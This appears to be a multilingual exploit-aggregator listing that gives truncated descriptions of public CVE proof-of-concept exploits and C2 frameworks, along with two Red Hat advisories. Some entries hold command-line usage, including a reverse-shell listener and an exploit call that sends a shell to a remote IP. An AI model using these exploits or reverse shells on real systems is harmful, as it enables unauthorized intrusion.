CVE-2022-46196

CVE-2022-46196 الوصف يستغل كود Python هذا ثغرة حقن أوامر غير مصادق عليها في إصدارات Cacti حتى الإصدار 1.2.22 وما يتضمنه. يستخدم argparse لتحليل الوسائط من سطر الأوامر، و requests للحصول على محتوى HTML لمثيل Cacti المستهدف، و BeautifulSoup لاستخراج رقم إصدار Cacti من محتوى HTML. إذا كان الإصدار...

GRAT2

GRAT2 C2 root@kitploit: c.-.c c.-.c c.-.c c.-.c c.-.c / .. \ / .. \ / .. \ / .. \ / .. \ \ Y / \ Y / \ Y / \ Y / \ Y / .-/'-'-..-/'-'-..-/'-'-..-/'-'-..-/'-'-. || G || || R || || A || || T || || 2 || .' -' '. .' -' '. .' -' '. .' -' '. .' -' '. .-./-'.-..-./-.-..-./-'.-..-./-'.-..-./-'.-...

CVE-2026-3227-TP-Link-authenticated-RCE

CVE-2026-3227 : Injection de commande OS dans le routeur TP-Link Pour plus d'informations, voir https://vulners.com/cve/CVE-2026-3227 Une vulnérabilité d'injection de commande OS persistante et authentifiée dans le firmware des routeurs TP-Link, entraînant le brickage de l'appareil ou une...

CVE-2022-39952-better

FortiNAC CVE-2022-39952 PoC pour CVE-2022-39952 affectant Fortinet FortiNAC. Cet exploit permet à un attaquant d'exécuter des commandes arbitraires sur le serveur FortiNAC. Il est basé sur le PoC développé par horizon3ai, avec des options supplémentaires pour cibler plusieurs hôtes. Avertissement...

CVE-2022-31814

pfBlockerNG = 2.1.426 Неавторизованный RCE Этот скрипт является эксплойтом для проверки концепции для pfBlockerNG = 2.1.426, который позволяет выполнять удаленный код. Он принимает один целевой URL или список URL, загружает оболочку, выполняет команду, а затем удаляет оболочку. Требования Этот...

CVE-2019-15107

CVE-2019-15107 يحتوي هذا المستودع على سكربت صغير بلغة bash لاستغلال ثغرة CVE-2019-15107 دون استخدام metasploit. الاستخدام بسيط للغاية، فقط قم بالتنزيل والتشغيل، دون أي تبعيات root@kitploit: root@kali: ./webmin-CVE-2019-15107.sh 10.10.73.185 'uname -a' Error - Perl execution failed Your password h...

azureOutlookC2

Azure Outlook C2 Azure Outlook Command & Control الذي يستخدم Microsoft Graph API للاتصالات C2 وتسريب البيانات. التحكم عن بُعد في جهاز ويندوز مخترق من صندوق بريد Outlook الخاص بك. المنشئون: Bobby Cooke @0xBoku & Paul Ungur @C5pider تحديث معلومات التهديدات 13/02/22 اكتشفت Elastic Security Labs...

CVE-2025-58098

CVE-2025-58098 exec cmd=... директива CVE-2025-58098 внедрение аргумента Лаборатория docker build -t cve-2025-58098-lab . docker run -it -p 8080:80 cve-2025-58098-lab Уязвимая Исправленная...

CVE-2025-24893-PoC

CVE-2025-24893 - Exécution de code à distance RCE dans XWiki Une preuve de concept PoC mise à jour pour CVE-2025-24893 , une vulnérabilité critique RCE non authentifiée dans XWiki. Cette version améliore l'originale en permettant l'exécution arbitraire de commandes shell et une injection propre d...

pfBlockerNg-CVE-2022-40624

pfBlockerNg-CVE-2022-40624 Contexte pfBlockerNG est la nouvelle génération de pfBlocker avec les fonctionnalités suivantes : 1. Gérer les sources de listes IPv4/v6 dans les formats 'Deny, Permit ou Match'. 2. Base de données GeoIP par MaxMind Inc. version gratuite GeoLite2. 3. Améliorations de...

CVE-2022-46169

CVE-2022-46169 POC Это скрипт доказательства концепции POC для уязвимости CVE-2022-46169, затрагивающей Cacti версии 1.2.22. Описание Уязвимость CVE-2022-46169 позволяет неавторизованную инъекцию команд в Cacti версиях до 1.2.22 включительно для достижения неавторизованного удаленного выполнения...

CVE-2022-36804

CVE-2022-36804 مكونات Bitbucket Server و Bitbucket Data Center بها ثغرة حقن أوامر، وفقًا لمعلومات اكتشفها مؤخرًا فريق أمن Sangfor. يمكن للمهاجم إرسال طلبات HTTP ضارة لتنفيذ تعليمات برمجية عشوائية وفي النهاية الوصول إلى الخادم إذا كان لديه إذن قراءة للمستودعات الخاصة أو العامة في Bitbucket أو إذن...

CVE-2022-1388

CVE-2022-1388-Exploit نص الاستغلال والفحص لـ CVE 2022-1388 الاستخدام للتحقق من مضيف واحد عبر URL root@kitploit: python3 exploit.py -v true -u targeturl لمهاجمة مضيف واختبار الأمر على هذا المضيف root@kitploit: python3 exploit.py -a true -u targeturl -c command مهاجمة قائمة من المضيفين أو إرفاق ملف...

Important: Red Hat Security Advisory: OpenShift Container Platform 4.20.35 bug fix and security update

Red Hat OpenShift Container Platform release 4.20.35 is now available with updates to packages and images that fix several bugs and add enhancements. This release includes a security update for Red Hat OpenShift Container Platform 4.20. Red Hat Product Security has rated this update as having a...

CVE-2021-22205

Impact de la vulnérabilité Un problème a été découvert dans GitLab CE/EE affectant toutes les versions à partir de 11.9. GitLab ne validait pas correctement les fichiers image transmis à un analyseur de fichiers, ce qui entraînait une exécution de code à distance. Produit vulnérable Gitlab CE/EE...

CVE-2022-46169_poc

CVE-2022-46169 удаленное выполнение кода без аутентификации Описание Обход аутентификации: проверка авторизации на основе имени хоста реализована небезопасно для большинства установок Cacti Инъекция команд: несанитизированный пользовательский ввод передается в строку, используемую для выполнения...

Important: Red Hat Security Advisory: OpenShift Container Platform 4.21.30 bug fix and security update

Red Hat OpenShift Container Platform release 4.21.30 is now available with updates to packages and images that fix several bugs and add enhancements. This release includes a security update for Red Hat OpenShift Container Platform 4.21. Red Hat Product Security has rated this update as having a...

CVE-2018-1000533

Уязвимость удаленного выполнения кода GitList 0.6.0 CVE-2018-1000533 GitList — современный просмотрщик Git-репозиториев. В GitList версии 0.6.0 и ниже существует уязвимость, связанная с передачей неправильно проверенных входных данных в системные функции, что позволяет выполнять произвольные...

CVE-2020-12124

CVE-2020-12124 تطبيق لإثبات المفهوم لـ CVE-2020-12124 https://vulners.com/cve/CVE-2020-12124 root@kitploit: ما يلي هو تحديث لـ CVE-2020-12124، وهي ثغرة تستغل حقن الأوامر في جهاز التوجيه Wavlink WN530H4 حيث يتم أخذ معلمات معينة من معلمات عنوان URL في طلب ويب إلى نقطة النهاية /cgi-bin/liveapi.cgi...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE الاستخدام تنفيذ الأوامر: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami شل عكسي: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 إخلاء...